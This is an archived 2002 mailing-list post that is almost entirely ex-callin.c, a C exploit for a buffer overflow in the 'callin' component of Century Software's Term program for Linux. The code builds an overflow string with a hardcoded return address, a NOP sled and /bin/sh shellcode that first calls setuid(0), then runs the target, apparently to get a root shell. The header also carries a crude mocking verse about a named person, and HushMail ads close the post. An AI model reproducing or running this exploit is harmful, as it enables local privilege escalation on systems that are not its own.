Century Software Term Exploit

haiku@hushmail.com · Tue, 26 Feb 2002 16:13:58 -0800

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

/********************************************************/
/* ex-callin.c - Haiku Hacker <haiku@hushmail.com>      */
/* Exploits the buffer overflow in Century Software's   */
/* calling component of the Term program for Linux.     */
/********************************************************/
/* Greets, love, and respect to:                        */
/* KF, Merc, Synapse, UPT old and new, Lance Spitzner,  */
/* egami, comega, jericho, and most importantly sl1k    */
/* for his guidance, coaching, and tutoring.            */
/********************************************************/
/* RFP's Pants                                          */
/* -----------                                          */
/* Rain Forest Puppy                                    */
/* Wears tight black pants to big cons                  */
/* Does he have limp wrist?                             */
/********************************************************/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

/* use this to specify the location of callin */
#define CINPATH "./callin"

int main(int argc, char **argv)
{
        /* Shellcode borrowed from Aleph1 */
        char shellcode[] =
                "\x29\xc0\x29\xdb\x29\xc9\x29\xd2\xb0\xa4\xcd\x80"
                "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
                "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
                "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
                "\xff\xff/bin/sh";

        char egg_string[300];
        int i;
        unsigned long offset = 0;

        if (argc > 1)
        {
                offset = atoi(argv[1]);
        }

        memcpy(egg_string, "tty", 3);

        for (i = 3; i < 95; i++)
                egg_string[i] = 'A';

        *(long *)(egg_string+95) = 0xbffff67c + offset;

        for (i = 99; i < 300; i++)
                egg_string[i] = 0x90;

        strcpy(egg_string+(sizeof(egg_string)-strlen(shellcode)), shellcode);

        execl(CINPATH, "callin", egg_string, 0);
}

Hush provide the worlds most secure, easy to use online applications - which solution is right for you?
HushMail Secure Email http://www.hushmail.com/
HushDrive Secure Online Storage http://www.hushmail.com/hushdrive/
Hush Business - security for your Business http://www.hush.com/
Hush Enterprise - Secure Solutions for your Enterprise http://www.hush.com/